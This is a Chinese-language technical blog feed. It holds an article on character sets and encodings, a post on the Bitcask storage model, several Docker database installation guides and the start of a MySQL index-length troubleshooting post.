字符(character),在计算机科学中,一个字符是一个单位的字形,类字形单位或符号的基本信息,可以理解为各种文字和符号的总称。它可以是中文汉字:你,也可以是英文字母:Y,或者是一个标点符号:!,还可以是一个emoji表情:🥙,以及一些不可见的控制符号。不同类型的字符在计算机存储中占用的大小可能会有所不同,比如一个英文字符通常只占用一个字节,但是一个中文字符通常占用三个字节。

+

字符集

+

字符集(character set),指某一类字符的集合。字符集会收录某一类特定的字符,比如GB2312字符集是中国国家标准总局发布的,它收录了共7445个字符,其中有六千多个汉字。不同的字符集包含的字符类型不同,在计算机上的编码方式也不同,不过具体的编码方式并不由字符集来指定和实现,字符集的作用是收录字符而不是对字符进行编码。常见的字符集有ASCII字符集,Big5字符集,Unicode字符集。

+

字符编码

+

字符编码(character encoding),字符编码就是字符映射规则。众所周知计算机只认识0和1,那么一个字符最终还是要被转换成二进制形式才能方便计算机存储和传输,字符编码要干的就是将字符以某种规则转换成计算机可以理解的二进制形式。最常见和最简单的字符编码就是ASCII编码,它规定用一个字节的低七位去编码字符,例如小写字母a的经过ASCII编码后的二进制形式就是01100001,十进制形式就是97。一般来说,一个字符集可能会有多种编码规则,不同的字符集拥有不同的编码规则。如果一个文本文件是用UTF-8进行编码的,那么在解码的时候就也应该使用UTF-8的规则,如果使用了GBK或者Big5编码的规则进行解码,就只会得到一串人类无法阅读的乱码。

+
+

提示

+

大部分的编码都兼容ASCII字符集,不过也有少部分不兼容,比如UTF-16编码,UTF-32编码。

+
+

编码空间

+

编码空间(encoding space)或者又叫码位空间,简单说就是包含所有字符的表的维度。比如说GB2312的编码空间是94x94,因为它总共就只有94x94个码位。同理ISO8859-1有256个码位,所以它的编码空间是256,也可以说是8比特。其实它的表示方式有很多种,总的来说都是在表达字符集所能容纳的字符数量。

+

码点

+

码点(code point)又称码位,指的是编码空间中的一个位置。对于一个字符而言,它在编码空间也就是字符集中所占用的码位叫码位值(有点拗口,其实两个都是一个概念)。码位值是可查的,例如在Unicode字符集中,汉字“中”的码点就是U+4E2D。

+
+

ASCII

+

ASCII(American Standard Code for Information Interchange,美国信息互换标准编码)是基于罗马字母表的一套字符集,发布于1967年,因为美国的主流语言是英语,ASCII字符集所包含的字符也只有英文字符,它总共有128个字符。

+
ASCII字符集的一部分
ASCII字符集的一部分
+
+

提示

+

如果想要查看更完整的ASCII字符集可以前往ASCII码对照表

+
+

ASCII采用的是单字节来表示字符,一个字节有八位,ASCII只有128个字符也就是2的7次方,相当于八位里面只有七位是有用的,所以在ASCII二进制形式中最高位默认为0,就比如第一个字符是空字符它的二进制形式是0000 0000,第128个字符是DEL字符,二进制形式是0111 1111。计算机起源于美国,早期只有美国科学家在使用这些,足够满足他们的使用。

+

随着计算机技术的不断发展,世界上的各个国家都引进了计算机,ASCII的局限性就体现出来了,世界上的国家有非常多,有些国家使用的语言甚至不止一种。ASCII所包含的字符总共只有128个,肯定是无法表达所有的语言的,于是欧洲将ASCII中字符闲置的最高位利用起来,对ASCII进行了拓展到了256个字符,称为EASCII(Extend ASCII),但其实256个字符也不足以统一整个欧洲的语言字符。

+

于是后来规定,将这256个字符中的前128个字符用于收录ASCII中的字符,也就说前128个字符与ASCII完全一致,而后128个字符根据欧洲不同的地区而收录不同的字符,这就是后来的ISO 8859系列标准(ISO/IEC 8859),下面列出一小部分:

+
    +
  • +

    ISO8859-1 字符集,也就是 Latin-1,收集了西欧字符。

    +
  • +
  • +

    ISO8859-2 字符集,也称为 Latin-2,收集了东欧字符。

    +
  • +
  • +

    ISO8859-3 字符集,也称为 Latin-3,收集了南欧字符。

    +
  • +
  • +

    ISO8859-4 字符集,也称为 Latin-4,收集了北欧字符。

    +
  • +
+

这样改进了后,欧洲不同地区使用不同的字符集,就可以满足使用了,但是这也仅仅只是满足欧洲语言体系的使用而已,要知道光是中文汉字的数量都有十万多个,于是就有了下面要讲的汉字字符集。

+

汉字字符集

+

汉字字符集中,简体字符集中有国标系列字符集,繁体字符集有Big5。

+

GB2312

+

GB,就是”国标“的拼音GuoBiao的首字母。GB2312编码是第一个汉字编码国家标准,由中国国家标准总局1980年发布,它的全名叫《国家标准信息交换用汉字编码字符集-基本集》。在1981年5月1日开始使用。GB2312编码共收录汉字6763个,其中一级汉字3755个,二级汉字3008个。同时,GB2312编码收录了包括拉丁字母、希腊字母、日文平假名及片假名字母、俄语西里尔字母在内的682个全角字符,前往GB2312查表可以前往查询GB2312编码表。

+

分区编码

+

GB2312对收录的字符的表示是分区进行的,一共94个区,每个区有94个位,共有8836个位,这种表示方式称为区位码。下面展示前两个区的字符表。

+

下面是分区的规则:

+
    +
  • 每一个区的第0位不记录字符
  • +
  • 01-09区收录除汉字外的682个字符。
  • +
  • 10-15区为空白区,没有使用。
  • +
  • 16-55区收录3755个一级汉字,按拼音排序。
  • +
  • 56-87区收录3008个二级汉字,按部首/笔画排序。
  • +
  • 88-94区为空白区,没有使用。
  • +
+

GB2312既指GB2312字符集,也指GB2312编码。它采用的是双字节编码,第一个字节为高字节,第二个字节为低字节,高字节用于记录字符对应的94个区中的每一个区,低字节用于记录字符一个区中对应的94个位。例如汉字"啊",是GB2312字符集中的第一个汉字,位于16区的01位,对应的区位码就是1601,GB2312的区位码范围就是0101-9494。

+

区号和位号分别加上0xA0就是GB2312编码,比如1601的区号是16,位号是01,转换成十六进制就是10和01,高字节为0xA0+0x10=0xB0,低字节为0xA0+0x01=0xA1,高低字节组合起来就是0xB0A1,所以汉字“啊”的GB2312编码就是B0A1。GB2312编码范围:A1A1-FEFE,其中汉字的编码范围为B0A1-F7FE,第一字节0xB0-0xF7(对应区号:16-87),第二个字节0xA1-0xFE(对应位号:01-94)。

+
+

GB2312字符集总共收录了八千多个字符,当时国内的计算机需求并不旺盛,GB2312所以可以满足基本的日常使用。但是随着技术的发展也明显不够用了,于是就有了后来的GBK。

+

Big5

+
+

“大五码”(Big5)是由台湾财团法人信息产业策进会为五大中文套装软件所设计的中文共通内码,在1983年12月完成公告,隔年3月,信息产业策进会与台湾13家厂商签定“16位个人电脑套装软件合作开发(BIG-5)项目(五大中文套装软件)”,因为此中文内码是为台湾自行制作开发之“五大中文套装软件”所设计的,所以就称为Big5中文内码。

+
+

Big5是最常用的繁体中文字符集,共收录13,060个汉字,最初流行于港澳台地区,后面被收录进了GBK。Big5字符集的双字节的编码方式,分高低两个字节,然后组成Big5编码,图示如下:

+
+

CJK

+

中日韩统一表意文字(英语:CJK Unified Ideographs),也称统一汉字(英语:Unihan),目的是要把分别来自中文、日文、韩文、越南文、壮文中,起源相同、本义相同、形状一样或稍异的表意文字,赋予其在UISO 10646及万国码标准中相同编码。此计划原本只包含中文、日文及韩文中所使用的汉字,旧称中日韩(CJK)统一表意文字(Unified Ideographs)。后来,此计划加入了越南文的喃字,所以合称中日韩越(CJKV)统一表意文字。

+

GBK

+

GBK,是”国标扩展“拼音GuoBiaoKuoZhan的首字母。1995年12月发布的汉字编码国家标准,是对GB2312编码的扩充,所以完全兼容GB2312字符集,除此之外也支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字(包含部分CJK),还包含了Big5字符集,共收录了21886个字符。

+

编码

+

在编码上GBK同样也还是采用的双字节编码,范围在0x8140-0xFEFE之间,高字节在0x81-0xFE范围内,低字节在0x40-0xFE范围内。GBK中总共有三大区:

+
    +
  • 汉字区 +
      +
    • GB2312汉字区
    • +
    • GB13000.1扩充汉字区
    • +
    +
  • +
  • 图形符号区 +
      +
    • GB2312非汉字区
    • +
    • GB13000.1扩充的非汉字区
    • +
    +
  • +
  • 自定义区
  • +
+

下面展示一些GBK中81区到8F区的字符表

+

例如第一个汉字丂位于81区,位置在4行0列,所以它的GBK编码为8140。

+

GB18030

+

2000年3月17日发布的汉字编码国家标准,是对GBK编码的扩充,覆盖中文、日文、朝鲜语和中国少数民族文字,其中收录27484个汉字。GB18030字符集采用单字节、双字节和四字节三种方式对字符编码。兼容GBK和GB2312字符集。2005年11月8日,发布了修订版本:GB18030-2005,共收录汉字七万余个。2022年7月19日,发布了第二次修订版本:GB18030-2022,收录汉字总数八万余个。

+

编码

+

GB18030编码向下兼容GBK编码和GB2312编码,它采用了单字节、双字节、四字节分段编码方案。

+
    +
  • +

    单字节部分采用GB/T 11383的编码结构与规则,使用0x00至0x7F码位共128个字符(对应ASCII码位)。

    +
  • +
  • +

    双字节部分,首字节码位从0x81至0xFE,尾字节码位分别是0x40至0x7E和0x80至0xFE。

    +
  • +
  • +

    四字节部分采用GB/T 11383未采用的0x30到0x39作为对双字节编码扩充的后缀,这样扩充的四字节编码,其范围为0x81308130到0xFE39FE39。其中第一、三个字节编码码位均为0x81至0xFE,第二、四个字节编码码位均为0x30至0x39

    +
  • +
+

下表是GB18030-2022收录的汉字。

+
+
+

提示

+

国家标准查询网站国家标准全文公开 (samr.gov.cn)

+
+

Unicode

+

Unicode,它是由Unicode联盟创建并维护的,中文名为统一码,由于它收录了世界上绝大多数国家的字符所以又称作万国码。它提供了一种跨平台的乱码问题解决方案,Unicode使用数字来处理字符,为每一个字符指定一个唯一的代码,并将字符视觉上的任务交给其他软件来自行处理。Unicode的编码空间从U+0000到U+10FFFF,共有1,112,064个码位可用来映射字符。

+

Unicode是当今互联网最流行的字符集发展自USC(ISO/IEC 10646),首个版本发布于1991年10月,最初的目标是为了解决ISO 8859-1所不能解决的计算机多语问题(即一台电脑可以处理多个语言混合的情况),最新版本的Unicode15发布于2022年9月,共收录了161种文字和14万多个字符,现在成为了国际标准通用字符集。

+

UTF指的是Unicode Transformation Format中文称为Unicode转换格式,Unicode的编码实现方式中最流行的当属于UTF-8,除此之外还有UTF-16和不怎么常用的UTF-32,以及被淘汰了的UTF-7。

+

UTF8

+

UTF-8(8-bit Unicode Transformation Format),是由Ken Thompson和Robo Pike(他们两个在后来还共同设计了Go语言)共同设计并提出。UTF8是基于Unicode实现的可变长编码,在日后随着计算机的普及,UTF8的编码的使用率高达95%以上,以至于IETF互联网工程小组甚至要求所有的互联网协议都必须支持UTF8。

+
+

提示

+

Mysql字符编码集中,同时支持utf8和uftmb4,前者一个字符最多占用3个字节,后者一个字符最多占用4个字节,utf8mb4才是utf8的完整实现。

+
+

UTF-8最初使用一至六个字节为每个字符编码,2003年11月UTF-8被RFC 3629重新规范,只能使用原来Unicode定义的区域,U+0000到U+10FFFF,也就是说最多四个字节,UTF-8对于所有常用的字符差不多都可以采用三个字节来表示。在UTF-8编码中,对于一个任意字节B,有着如下规则:

+
    +
  • 对于UTF-8编码中的任意字节B,如果B的第一位为0,则B独立的表示一个字符(ASCII码)
  • +
  • 如果B的第一位为1,第二位为0,则B为一个多字节字符中的一个字节(非ASCII字符)
  • +
  • 如果B的前两位为1,第三位为0,则B为两个字节表示的字符中的第一个字节
  • +
  • 如果B的前三位为1,第四位为0,则B为三个字节表示的字符中的第一个字节
  • +
  • 如果B的前四位为1,第五位为0,则B为四个字节表示的字符中的第一个字节
  • +
+

通过第二条规则可以很轻易的判断出该字符是不是一个ASCII字符。对于一个任意字符,如果它占用的字节大于1,那么除了第一个字节外,其余字节都以10开头,如下表。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
码点的位数码点起值码点终值字节序列Byte 1Byte 2Byte 3Byte 4Byte 5Byte 6
7U+0000U+007F10xxxxxxx
11U+0080U+07FF2110xxxxx10xxxxxx
16U+0800U+FFFF31110xxxx10xxxxxx10xxxxxx
21U+10000U+1FFFFF411110xxx10xxxxxx10xxxxxx10xxxxxx
26U+200000U+3FFFFFF5111110xx10xxxxxx10xxxxxx10xxxxxx10xxxxxx
31U+4000000U+7FFFFFFF61111110x10xxxxxx10xxxxxx10xxxxxx10xxxxxx10xxxxxx
+

例如中文简体汉字“爱”的Unicode码点为U+7231,位于U+0800 - U+FFFF范围内,所以爱的UTF-8编码需要三个字节,接下来将0x7231转换成二进制形式,从最低位开始每一次取6位,最后一次取成4位,不够的补0,最后就是如下二进制

+

根据规则填入后就变成了如下,可以看出就是三个字节的大小

+

不过一般用于表述时的使用形式是十六进制

+
+

UTF-8编码的字符可以很轻易的通过第一个字节得知该字符占用的字节数。

+

UTF16

+

UTF-16是Unicode字符集的一种变长编码实现方式,它把Unicode字符集的抽象码位映射成16位长的整数序列,用于数据存储和传递,它使用两个或四个字节来编码字符,编码规则如下,已知Unicode范围是U+0000 - U+10FFFF。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
码点起值码点终值字节规则
U+0000U+D7FF2UTF16-编码就是Unicode码点,不进行任何转换
U+E000U+FFFF2UTF16-编码就是Unicode码点,不进行任何转换
U+10000U+10FFFF4码位减去0x10000,转换成二进制,得到20位二进制序列。高10位的值加上0xD800形成一个16个序列,低十位的值加上DC00形成一个16位序列,然后再拼成一个完整的二进制序列,就得到了一个Unicode字符的UTF-16编码。
U+D800U+DFFF不对应任何字符,算作编码错误
+

比如美元符号"$",它的Unicode码点是U+0024,它并不在U+10000到U+10FFFF的范围内,所0024就是它的UTF-16编码,占用两个字节。

+
+

再比如符号𐐷的码点是U+10437,二进制序列是

+

高十位加上0xD800,低十位加上0xDC00,就变成了下方的序列

+

它的十六进制形式是

+

它的UTF-16编码占用4个字节,这种编码方式并不兼容ASCII码。

+

UTF32

+

UTF-32是固定长度编码,每个码位使用4个字节,Unicode码位直接存储位UTF-32编码,没有任何规则。这种编码几乎没有使用,因为它极大的浪费了空间,由UTF-32所编码的文件占用大概是UTF-16的两倍,UTF-8的四倍。

+

它唯一的优点就是定索引非常方便,因为是定长编码,字符位置直接使用十进制数,每加一就是下一个字符。

+

其他概念

+

字节序

+

对于UTF序列编码而言,UTF-8不存在字节序问题,因为它的编码单元就是一个字节,没有高低位之分,一次取一个字节就完事。但是UTF-16和UTF-32不同,它至少每次要处理两个字节或4个字节,这就涉及到了字节序的问题。例如Unicode字符集中的汉字“你”,UTF-8编码为EDBDA0,这是大端序,小端序就是低位在低地址,高位在高地址,就是反过来0ADBDE,反正读取时都是从低地址开始读,结果都是一样的。所以这并不会产生什么问题。

+

汉字”你“的UTF-16的大端编码是4F60,小端是604F,它的单位是两个字节,读取时都是从低地址开始读的,不知道大小端序的话,就不清楚谁是高位字节,谁是低位字节,如果本身是大端序,按照小端序读取的话就成了604F,这完全变成另一个字符了,UTF-32同理。

+
+

所以应该显式的告诉计算机是大端序还是小端序,因此UTF-16编码分为UTF-16BE和UTF-16LE,同理也UTF-32也分为UTF-32BE和UTF-32LE。

+

BOM

+

BOM(byte order mark),中文名为字节序标记。UTF系列的文件通常用零宽非换行空格符(U+FEFF)用于标记大小端序。UTF-8文件有时候也会用到它,不过仅仅只是用来标记该文件是UTF-8文件,它的UTF-8编码是EF BB BF。对于UTF-16的文件而言,标记是FE FF,就是大端序,FF FE就是小端序。

+

据说给UTF-8文件加BOM头是微软为了兼容旧系统的编码,但是这可能在其他的操作系统就不一定适用了,比如Unix,因为他们的设计原则是“文档中的所有字符必须可见”,所以在windows系统上编写的shell脚本,在unix上就不一定能运行,一些源代码文件也可能会出现编译问题。

+

总结

+

一图胜千言,下面这张图可以很直观的看出各个字符集之间的关系。

+
+

国标系列的GB字符集从始至终都向下兼容,在后续更新中慢慢的还囊括了CJK,Big5等其他语种的字符集,但可能并不兼容。ISO8859是早期欧洲为了方便因国家之间语言的细微差异而在ASCII基础之上衍生的一系列字符集。Unicode与GB18030相互不兼容,两者都想收录世界上的绝大多数语言的文字和字符,只不过目前来看Unicode更流行一些,Unicode同时还兼容ISO8859-1。

+]]>
+ +
+ + 存储模型 --- Bitcask + https://246859.github.io/my-blog-giscus/posts/code/db/bitcask.html + https://246859.github.io/my-blog-giscus/posts/code/db/bitcask.html + 存储模型 --- Bitcask + 存储模型 --- Bitcask + 数据库 + Fri, 10 Nov 2023 00:00:00 GMT + 存储模型 --- Bitcask +
+ +
+

简介

+

在面向磁盘的Key/value数据库设计中,常见存储模型的有B+Tree,LSM,前者读性能优秀,后者写性能优秀,它们两个已经有了非常多的实践案例,比如基于B+Tree的BoltDB,基于LSM的LevelDB。不过今天的主角讲的并不是它们两个,而是另一个存储模型Bitcask,它最早是由一个日本分布式存储公司Riak提出的理论,与LSM类似,它也是日志结构,不过实现起来要比LSM简单的多。

+

Bitcask文档:riak-bitcask

+

Riak公司最初希望寻找一个满足以下条件的存储引擎

+
    +
  • 读写低延迟
  • +
  • 高吞吐量随机写入
  • +
  • 在高负载情况下,行为可以预测
  • +
  • 具有处理比内存更大空间数据的能力
  • +
  • 崩溃友好,可以快速恢复而不丢失数据
  • +
  • 易于备份和恢复
  • +
  • 简单易懂的数据格式,且易于实现
  • +
  • 简单的使用协议
  • +
+

找到满足上面部分条件的很容易,但是满足全部条件的几乎没有,于是这促使他们开始自己去研究一种日志化结构的KV存储引擎,受到LSM的启发,而后便设计了Bitcask这一个可以满足上述所有要求的存储模型,所以Bitcask实际上也是一种类LSM的结构。

+

设计

+

在了解完Bitcask的历史后,下面来说说它究竟是如何设计的。

+
+

一个Bitcask实例就是一个文件夹,文件夹存放着若干个数据文件,这些文件分为Active Data File和Older Data File。在某一时刻,数据会被写入到Active Data File也就是活跃文件,当文件存放的数据达到阈值后,当前活跃文件将被关闭并成为旧数据文件,旧数据文件一旦被关闭过后,日后永远都不会再对其写入数据。然后会创建一个新的活跃数据文件用于写入新数据,同一时刻只能有一个进程对活跃数据文件写入数据。文件的写入操作是通过追加(append only)的方式进行,由于是顺序IO所以不需要多余的磁盘寻址操作。

+
+

Bitcask的数据格式同样很简单,如图所示,由以下几个部分组成

+
    +
  • crc,循环冗余校验码
  • +
  • tstamp,时间戳
  • +
  • ksz,键的所占用的空间大小
  • +
  • value_sz,值所占用的空间大小
  • +
  • key,存放键
  • +
  • value,存放值
  • +
+

每一次对活跃数据文件写入数据,就会添加一条新的数据条目,对于删除操作而言,并不会真的去删除文件里面的数据,而且将其作为一个特殊的数据条目写入文件中来标记该数据被删除,待到下次文件合并时,数据才会被真正的删除。Bitcask数据文件只不过是这些数据条目的线性序列,如下图所示。

+
+

在向磁盘写完数据以后,就会去更新keydir"。"keydir"并不是一个真的文件夹,它是一个维护在内存中的索引结构,负责映射每一个key的元信息。这些元信息包括

+
    +
  • file_id,标识数据存放在哪一个文件
  • +
  • value_sz,数据所占用的空间大小
  • +
  • value_pos,数据在文件中的位置
  • +
  • tstamp,时间戳
  • +
+

如下图所示

+
+

当更新数据时,并不会去更新旧数据文件中的指定数据条目,而是向当前的活跃数据文件添加新的数据条目,然后keydir会原子的更新最新数据的位置,旧数据依旧保存在磁盘中,往后的数据读取操作会使用keydir中的最新位置来进行访问,至于旧数据条目会在后续的合并过程中被删除。

+

对于读数据而言,只需要进行一次磁盘寻道。首先会从内存中维护的keydir找到与之匹配的数据元信息,得知数据存放在哪一个文件,以及文件中的位置信息,然后再去对应的数据文件中读取响应的数据条目信息,凭借着操作系统的预读文件缓存,这一过程可能会比预期的还要更快。

+
+

在上面的删除和更新操作中,都会产生额外的新数据条目,对于旧数据条目则不会再使用,随着时间的推移,这种冗余的数据条目会越来越多,就会占用相当大一部分的空间,为此需要就需要去清理这些旧的数据文件,这个过程就称之为合并。在合并过程中,会遍历所有的旧数据文件,然后输出一系列只包含最新数据的文件,在合并的同时,还会创建Hint File,也就是索引文件,每一个合并过后的Merged Data File都有一个对应的Hint File,Hint File中的数据条目与内存中的keydir相对应,前者是后者的持久化体现。Hint File只存储数据元信息,并不存储实际的数据,它的作用是为了在Bitacask实例启动时,更快速的构建内存索引。

+
+

这些就是Bitcask所有的设计内容,可以看得出确实比较简单和容易理解。官方还做了以下几点的说明

+
    +
  1. Bitcask读性能依赖于操作系统的文件系统缓存,他们曾经讨论设计过关于Bitcask的内部缓存,这可能会使Bitcask变得更复杂,且不清楚这样做的带来的性能收益是否可以抵过随之而来的复杂性,毕竟设计的初衷就是要足够简单。
  2. +
  3. Bitcask不会对数据进行任何的压缩,因为这种行为的收益与损耗依赖具体的应用。
  4. +
  5. 在早期的测试中,一台低配的笔记本电脑上,Bitcask每秒可以执行5000-6000次左右的写入操作。
  6. +
  7. 在早期的测试中,Bitcask可以存储10倍于内存的数据而不会出现性能下降的情况。
  8. +
  9. 在早期的测试中,即便有数百万个key,keydir所占用的内存也不到GB。
  10. +
+

总结

+

Bitacask在设计之初就不是追求最快的速度,作者觉得快到足够使用即可,它使用内存来做索引,用磁盘来存储数据,具有实现简单,可读性强,性能优秀等众多优点。由于它只有一个写入点,且只能是串行写入,所以尤其适合存储大量只需一次IO就能写入的小块数据,对于大块数据而言,会使得吞吐量非常低。

+

鉴于其简单的设计,非常适合初学者学习和入门,社区里面也有很多开源实现,比如nutsDBroseDB,两者都是嵌入式KV数据库,均为go语言实现。动手自己实现一个基于Bitacask的数据库,可以加深理解。

+

API

+

Riak官方在文档中描述了Bitcask参考的API,仅仅只有几个接口,下面以go语言的伪代码展示。

+
]]>
+ +
+ + Docker上安装MariaDB + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_mariadb.html + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_mariadb.html + Docker上安装MariaDB + Docker上安装MariaDB + 数据库 + Fri, 06 Oct 2023 00:00:00 GMT + Docker上安装MariaDB +
+ +
+

官网:MariaDB

+

开源地址:https://github.com/MariaDB/server

+

在Mysql被Oracle收购以后,MySql之父觉得此时的Mysql不再是一个纯粹的开源数据库了。于是没多久便出走了,随后他便从Mysql社区fork出来一个新的分支:MariaDB,到目前为止已经是一的独立的项目了。该数据库以作者女儿的名字来命名的,相比于Mysql而言它是一个完全开源的数据库,在协议和表定义方面也兼容,相比于mysql社区版支持更多的存储引擎和功能。

+

镜像

+

镜像地址:mariadb - Official Image | Docker Hub

+
+

目前的维护版本有11和10,因为是开源社区维护的,所以版本迭代要比mysql快很多,这里选择相对稳定的10

+

准备

+

准备好要挂载数据的文件夹

+

maridadb在这些方面都与mysql兼容,所以基本类似,创建配置文件~/db/mariadb/conf/my.cnf

+

容器

+

运行如下命令创建容器,mariadb使用的配置目录跟mysql完全一致

+

创建起容器后看看是否正常运行

+

进入容器里面看看数据库命令行,这里使用mysql命令也可以登录。

+

看看数据库,可以看到默认的hello数据库成功创建

+

连接

+

我用的navicat15,已经支持mariadb,正常来说它的协议应该跟mysql完全兼容。

+ +

就目前而言感受不到太大的区别,以后用的深了一点再来评价吧。

+]]>
+ +
+ + Docker上安装MongoDB + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_mongo.html + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_mongo.html + Docker上安装MongoDB + Docker上安装MongoDB + 数据库 + Mon, 24 Jul 2023 00:00:00 GMT + Docker上安装MongoDB +
+ +
+

官网:MongoDB

+

mongodb是一个高性能的非关系型数据库,或者说文档数据库因为它的基本单位就是文档,在我的一个开源项目中主要拿它来存游戏信息,比较灵活,存在mysql纯纯是找罪受。mongodb说实话第一次看到的时候,SQL写起来真的反人类,弄成了json的样子,如果语句长了点嵌套多了点,可读性骤然下降。

+

尤其是花括号看的真的眼花,这玩意在命令行里面敲起来是真滴折磨。

+

镜像

+

镜像地址:mongo - Official Image | Docker Hub

+

这里我就直接用mongo6

+

镜像拉下来以后看看

+

681MB说实话挺大了

+

配置

+

创建要挂载的数据目录

+

创建默认的配置文件

+

写入如下配置

+

创建默认的日志文件

+

容器

+

运行如下命令创建容器

+

其中的参数

+
    +
  • 环境变量LANG是为了设置数据库字符编码
  • +
  • -f /etc/mongo/mongod.conf指定具体的配置文件地址
  • +
+

容器创建完毕后,查看一下是否正常运行。

+

然后进入数据库命令行操作

+

由于初始时是没有默认的用户和密码,所以进来就是test用户,接下来创建一个管理员账号,先写sql

+

主要有以下权限可以用

+

切换倒admin数据库后再创建

+

查看用户列表

+

完成后,退出然后修改mongo的配置文件添加

+

重启容器之后再重新登录

+

连接

+

navicat也支持mongodb数据库,如果上面操作正确的话,连接应该是不会有问题的。

+
+]]>
+ +
+ + Docker上安装Mysql + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_mysql.html + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_mysql.html + Docker上安装Mysql + Docker上安装Mysql + 数据库 + Mon, 07 Nov 2022 00:00:00 GMT + Docker上安装Mysql +
+ +
+

官网:MySQL :: MySQL Documentation

+

mysql是很经典的一个数据库了,刚接触到这个数据库的时候还是刚刚大一下那会,那会在windows上安装把密码给整忘了捣鼓了老半天才整回来。日后在学习的时候,捣鼓中间件都是在本地的Linux虚拟机上+docker捣鼓,再也不会把这些玩意安装在windows上了。

+

镜像

+

镜像地址:mysql - Official Image | Docker Hub

+

Mysql常用的版本只有8和5,最常用的应该是5.7,不过我在写代码的时候用的都是mysql8。

+

查看下镜像

+

准备

+

创建本地用于挂载数据的文件夹

+

创建mysql配置文件~/db/mysql/conf/my.cnf

+

容器

+

运行如下命令,创建容器

+
    +
  • MYSQL_ROOT_PASSWORD,root用户的默认密码,不指定的话会在输出中显示默认密码
  • +
  • MYSQL_DATABASE,默认创建的数据库名
  • +
+

看看mysql容器有没有成功运行。

+

使用mysql命令访问数据库

+

查看有哪些数据库,可以看到hello数据库被成功创建了

+

查看hello数据库中的表,可以看到空空如也

+

连接

+

切换到mysql数据库,然后查看user

+

可以看到root账户默认是允许远程登录的,一般建议创建一个新的账号来用,然后再禁用root远程登录,如果只是自己学习的话那无所谓了,修改完以后记得刷新下。

+

然后再用navicat连接

+ +]]>
+ +
+ + Docker上安装PostgreSql + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_postgres.html + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_postgres.html + Docker上安装PostgreSql + Docker上安装PostgreSql + 数据库 + Sat, 30 Sep 2023 00:00:00 GMT + Docker上安装PostgreSql +
+ +
+

官网:PostgreSQL: The world's most advanced open source database

+

关系型数据库的话以前只学习过mysql一种,最近打算来捣鼓一下大名鼎鼎的postgresql,官网的标题就是世界上最先进的关系型数据库。为了方便学习,采用本地虚拟机+docker的方式进行安装。

+

镜像

+

首先在dockerhub看看镜像postgres - Official Image | Docker Hub

+ +

一看postgresql的维护版本这么多,不知道选什么就选最稳的11

+
+

提示

+

16版本的话navicat还不太兼容

+
+

查看下镜像

+

容器

+

运行如下命令创建容i去

+
    +
  • POSTGRES_PASSWORD,环境变量,设置超级用户默认密码
  • +
  • LANG,环境变量,设置字符集
  • +
+

跑起来看看看日志

+

再看看ps

+

命令行

+

容器成功运行以后,到数据库命令行里面看看,默认的超级用户名为postgres

+

pg的命令行有独特的命令,不像mysql全是SQL语句,一般以下划线\开头,\?查看帮助命令。查看所有的数据库

+

查看所有用户

+

查看两个配置文件的地址

+

退出命令行

+

远程登录

+

pg默认是不允许远程登录的,必须得修改其配置文件。修改postgresql.conf文件的中监听地址为如下。

+

然后再修改pg_hba.conf,添加如下规则

+

修改完后把容器重启下

+
+

然后就可以连接成功了。

+]]>
+ +
+ + Docker上安装Redis + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_redis.html + https://246859.github.io/my-blog-giscus/posts/code/db/docker_install_redis.html + Docker上安装Redis + Docker上安装Redis + 数据库 + Mon, 17 Jan 2022 00:00:00 GMT + Docker上安装Redis +
+ +
+

官网:Redis

+

Redis是我接触的第一个NoSQL数据库,一般是拿来做缓存用,不支持windows。刚开始用的windows版,一看版本redis2,几年没维护了,后面只能在虚拟机上捣鼓了,算是我接触虚拟机和Linux系统的一个契机。

+

镜像

+

镜像地址:redis - Official Image | Docker Hub

+

redis现在的维护版本有6和7,两个的区别就是RESP协议的区别,一个是RESP2,一个是RESP3,理论上来说RESP3应该是兼容RESP2的,不过Redis社区声称以后不会兼容RESP2。这里用的是版本7。

+

查看下镜像

+

配置

+

配置文件地址:https://redis.io/docs/management/config/

+

redis默认是不允许远程连接,而且没有密码,这些需要在配置文件中指定,对应指定版本的redis需要去官网下载配置文件。

+ +

这里选择的是7.0版本的配置文件,首先创建容器的数据挂载文件夹

+

然后下载配置文件,因为是外网可能不太好下载

+

然后将里面的如下四个配置修改如下值,然后保存退出。

+

配置文件的路径位于~/db/redis/redis.conf,然后还要记得把日志文件自己创建下。

+

容器

+

运行如下命令

+

创建后查看下有没有正常运行

+

进入容器测试下命令行

+

连接

+

redis客户端软件的话推荐两个,虽然navicat也支持redis连接,但还是那种行列方式看起来相当膈应。

+
    +
  • Redis Manager,开源,c++项目,性能应该要好很多
  • +
  • Another Redis Manager,开源,nodejs项目,目测应该是electron之类构建的,性能没测试过。
  • +
+

上面两个都是开源的,且都支持中文,我都有在用,前者毕竟c++写的项目,nodejs性能跟它没法比,但后者界面更加人性化,功能要多很多。

+ +

如果前面的配置正常来搞的话这里连接是不会出问题的。

+
+

可以看到关于redis的很多统计信息。

+]]>
+ +
+ + MsSQL索引字节数超出最大值 + https://246859.github.io/my-blog-giscus/posts/code/db/index_length_exceed.html + https://246859.github.io/my-blog-giscus/posts/code/db/index_length_exceed.html + MsSQL索引字节数超出最大值 + MsSQL索引字节数超出最大值 + 数据库 + Wed, 20 Sep 2023 00:00:00 GMT + MsSQL索引字节数超出最大值 + +
+

问题

+

最近在开发的时候遇到了一个索引上的问题,模型结构体如下

+

从中可以看到创建了一个联合唯一索引perm,那么在使用gorm迁移数据库时,会报如下的错误

+

mysql已经提示说你的索引太长了,最大只能是3072个字节数,那么究竟占了多少个字节数呢,计算方法就是类型占用字节数,由于我的mysql版本是8.0,字符集设置的是utf8mb4,一般来说索引限制有两种情况

+
    +
  • ROW_FORMAT= COMPACT 或 REDUNDANT,单列索引支持的最大长达为767bytes。
  • +
  • ROW_FORMAT= COMPRESSED 或 DYNAMIC,单列索引支持的最大长度为3072bytes。
  • +
+

